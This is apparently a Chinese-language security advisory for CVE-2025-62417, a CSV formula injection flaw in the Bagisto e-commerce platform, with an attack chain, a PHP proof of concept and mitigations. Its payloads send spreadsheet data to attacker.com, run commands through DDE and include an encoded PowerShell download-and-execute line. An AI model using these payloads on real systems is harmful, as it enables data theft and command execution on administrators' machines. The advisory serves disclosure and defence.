IPBUF安全漏洞报告
English
CVE-2025-62417 CVSS 7.8 高危

CVE-2025-62417 Bagisto电商平台CSV公式注入漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-62417
漏洞类型
CSV公式注入(Formula Injection)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Bagisto(基于Laravel的开源电商平台)

相关标签

CSV公式注入Formula InjectionBagistoLaravel电商平台数据泄露远程代码执行CWE-1236高危漏洞电子表格安全

漏洞概述

CVE-2025-62417是Bagisto开源Laravel电商平台中存在的一个高危CSV公式注入漏洞(Formula Injection)。Bagisto是一款广泛使用的开源电商系统,支持多渠道、多语言和多货币等企业级功能。该漏洞源于平台在处理产品数据时,未对包含电子表格公式特殊字符(如=、+、-、@等)的输入进行有效过滤或转义。当攻击者通过产品名称、描述或其他可编辑字段提交以这些特殊字符开头的数据时,该数据会被正常存储。然而,当管理员或运营人员将该数据导出为CSV文件并在Excel、Google Sheets等电子表格软件中打开时,电子表格软件会将这些单元格内容识别为公式并自动执行。

由于CSV格式本质上是以纯文本形式存储数据的,公式注入攻击可以导致多种严重后果,包括但不限于:数据泄露(通过WEBSERVICE等函数外传数据)、远程命令执行(利用Excel旧版OLE对象或CMD构造)、数据篡改(DDE动态数据交换)、以及潜在的恶意软件传播。该漏洞的CVSS评分为7.8,属于高危级别,其攻击向量为本地(AV:L),无需认证(PR:N),但需要用户交互(UI:R),对机密性、完整性和可用性均产生高影响。Bagisto官方已在2.3.8版本中修复了该漏洞,建议所有使用受影响版本的用户尽快升级。

技术细节

CSV公式注入(又称Formula Injection或CSV Injection)是一种利用电子表格软件自动解析公式特性的注入攻击。其技术原理如下:

1. **公式字符识别机制**:Excel、Google Sheets、LibreOffice Calc等电子表格软件在打开CSV文件时,会自动检测单元格内容是否以特定字符(=、+、-、@、\t、\r等)开头。如果检测到这些前缀字符,软件会将单元格内容作为公式进行解析和执行。

2. **攻击载荷构造**:攻击者可以在产品名称、SKU、描述等可编辑字段中注入恶意公式。例如:
- `=HYPERLINK("http://attacker.com/?data="&A1, "Click")`:外泄数据
- `=WEBSERVICE("http://attacker.com/"&A1)`:通过Web服务调用外传数据
- `=cmd|'/c calc'!A1`:在旧版Excel中执行系统命令
- `=2+5+cmd|'/c calc'!A1`:绕过简单过滤的命令执行

3. **Bagisto漏洞点**:在Bagisto中,产品数据通过管理后台或API提交后直接存储到数据库。当管理员执行产品数据导出功能时,系统生成CSV文件但未对字段内容进行转义处理(如在公式字符前添加单引号前缀或制表符前缀)。

4. **利用条件**:攻击者需要具备产品数据提交权限(通常通过注册商户或API),然后诱导管理员导出并打开CSV文件。整个攻击链涉及用户交互(UI:R),这也是CVSS评分中标记为需要用户交互的原因。

5. **修复方案**:Bagisto 2.3.8版本在CSV导出时对危险字符进行了转义处理,通常通过在公式字符前添加单引号(')或制表符(\t)来阻止电子表格软件将其解析为公式。

攻击链分析

STEP 1
步骤1:注册攻击者账户
攻击者通过Bagisto平台注册商户账户或利用API接口,获取产品数据提交权限。
STEP 2
步骤2:注入恶意公式载荷
攻击者在产品名称、描述、SKU等可编辑字段中注入以=、+、-、@等字符开头的恶意公式,如=HYPERLINK()或=cmd|'/c calc'!A1等。
STEP 3
步骤3:提交并存储恶意数据
Bagisto后端未对输入进行过滤或转义,恶意载荷被正常存储到数据库中,产品正常上架。
STEP 4
步骤4:诱导管理员导出CSV
攻击者通过钓鱼邮件、社工等方式诱导管理员使用Bagisto的导出功能,将包含恶意数据的CSV文件下载到本地。
STEP 5
步骤5:管理员打开CSV文件
管理员在Excel或Google Sheets中打开CSV文件时,电子表格软件自动将公式字符开头的单元格识别为公式并执行。
STEP 6
步骤6:数据窃取或命令执行
恶意公式被执行,可能导致敏感数据外泄(如通过WEBSERVICE将电子表格内容发送到攻击者服务器),或在旧版Excel中触发远程命令执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-62417 - Bagisto CSV Formula Injection PoC * Demonstrates the vulnerability by injecting spreadsheet formula characters * into product fields that will be exported to CSV. */ // Simulated malicious product data submission to Bagisto $malicious_payloads = [ // Data exfiltration via HYPERLINK 'name' => '=HYPERLINK("http://attacker.com/steal?data="&A1, "Product Info")', // Data exfiltration via WEBSERVICE (Excel 2013+) 'description' => '=WEBSERVICE("http://attacker.com/exfil?"&A1)', // Remote command execution (legacy Excel via DDE/COM) 'sku' => '=cmd|\'/c powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAApAA==\'!A1', // Simple formula to modify spreadsheet content 'price' => '=1+1+SUM(A1:A10)', // Alternative formula prefixes 'short_description' => '@SUM(1+1)*cmd|\'/c calc\'!A1', // Negative sign prefix 'meta_title' => '-2+3+cmd|\'/c calc\'!A1' ]; // Submit malicious product data via Bagisto API // POST /api/v1/products $ch = curl_init('https://target-bagisto-site.com/api/v1/products'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([ 'name' => $malicious_payloads['name'], 'description' => $malicious_payloads['description'], 'sku' => $malicious_payloads['sku'], 'price' => $malicious_payloads['price'] ])); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); $response = curl_exec($ch); curl_close($ch); echo "Malicious product submitted. When admin exports CSV and opens in Excel:\n"; echo "- Data exfiltration will occur via HYPERLINK/WEBSERVICE\n"; echo "- RCE possible via legacy Excel DDE/COM constructs\n"; /** * Expected malicious CSV output (before fix in 2.3.8): * * name,description,sku,price * =HYPERLINK("http://attacker.com/steal?data="&A1, "Product Info"),=WEBSERVICE(...),... * * When opened in Excel, the formulas will be auto-executed. */ ?>

影响范围

Bagisto < 2.3.8

防御指南

临时缓解措施
在无法立即升级到2.3.8版本的情况下,建议采取以下临时缓解措施:1)在Bagisto管理后台的产品数据导出前,手动检查并清理可疑内容;2)在数据库层面,对已存储的产品名称、描述等字段进行排查,搜索以=、+、-、@开头的记录并进行转义处理;3)告知所有管理员在打开导出的CSV文件时,先用文本编辑器(如Notepad++)检查内容,或使用不解析公式的工具打开;4)在Excel中禁用动态数据交换(DDE)功能和外部内容链接;5)通过Web应用防火墙(WAF)规则限制包含公式字符的产品数据提交。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表